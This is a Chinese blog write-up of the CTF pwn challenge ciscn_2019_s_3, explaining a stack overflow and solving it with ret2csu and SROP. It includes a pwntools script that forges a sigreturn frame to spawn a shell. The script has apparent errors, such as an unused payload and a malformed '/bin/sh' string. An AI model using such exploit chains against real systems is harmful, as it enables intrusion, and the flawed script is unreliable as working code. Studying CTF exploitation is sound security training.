ciscn_2019_s_3的wp

本文探讨了一道关于64位程序中系统调用利用的问题,涉及32位与64位系统调用的区别。通过分析read和write系统调用的参数传递及栈溢出情况,提出了两种解决方案:一是利用execve系统调用执行/bin/sh;二是通过伪造栈帧利用sigreturn系统调用来控制程序执行流。解题关键在于找到合适的返回地址并构造rop链。
摘要由CSDN通过智能技术生成

这是一道新颖的题
64位程序看看vuln函数的汇编
在这里插入图片描述
看来利用了系统调用

首先我们来看看什么是系统调用 32位与64位 系统调用的区别:

1. 传参方式不同

2. 系统调用号 不同

3. 调用方式 不同

32位:

传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器

调用号:sys_read 的调用号 为 3 sys_write 的调用号 为 4

调用方式: 使用 int 80h 中断进行系统调用

64位:

传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器

调用号:sys_read 的调用号 为 0 sys_write 的调用号 为 1

stub_execve 的调用号 为 59 stub_rt_sigreturn 的调用号 为 15

具体的调用号看

调用方式: 使用 syscall 进行系统调用

发现首先利用系统调用,执行了read(0,buf,0x400),又执行了write(1,buf,0x30)。看一下buf的位置,发现距离rbp只有0x10大小,存在栈溢出。

除了这个其实我们还可以看到程序结束的时候是直接程序开始的时候,直接是:

pop rbp

mov rbp,rsp

程序结束的时候直接是:

retn

这里的retn是0x400519的retn,执行这个其实就跳出这个函数了。

而retn是做什么的呢?retn的操作是内 pop eip,然后执行eip指向的指令。

函数调用开始,rbp==rsp,并且值也一直没变过,所以这里覆盖rbp的时候,其实就需要将rbp覆盖成你想要的返回地址。所以这道题的偏移其实就是0x10就可以了!
  在这里插入图片描述

解法一

59号系统调用是execve那么就可以想办法控制寄存器的值调用execve("/bin/sh",0,0),注意在调用execve时,后面两个参数需要置0,由于需要控制rdx的值,所以选择使用通用gadget,__libc_csu_init。
在这里插入图片描述
r13的值会给到rdx,让rbx=0,下面call的时候会变为call [r12],会去call r12指向位置的代码,我们可以调到后面的rop执行,所以需要知道栈的地址,我们获取/bin/sh字符串时也需要知道栈地址。这题刚好在write的时候0x28这个位置是栈上的值,于是通过计算可以得到栈上/bin/sh的地址,即rsp-0x10的值。
exp

在这里插入图片描述

方法二

15号系统调用sigreturn。这个系统调用是在终止信号恢复用户态环境时用的。那么我们在栈上伪造寄存器的值,那么恢复时就可将寄存器控制为我们想要的值。

from pwn import *

io=remote()
context.binary='./pwn'
context.terminal = ['gnome-terminal','-x','sh','-c']

main=0x0004004ED
sigret=0x4004DA
sys=0x400517

pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh
frame.rsi = 0
frame.rdx = 0
frame.rip = sys

pl1=b'a'*16+p64(sigret)+p64(sys)+str(frame)

'''
def debug(addr):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)
debug('0x400514')
'''

pl2='b/bin/sh\x00'*2+p64(sigret)+p64(sys)+str(frame)
io.send(pl2)

io.interactive()    

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值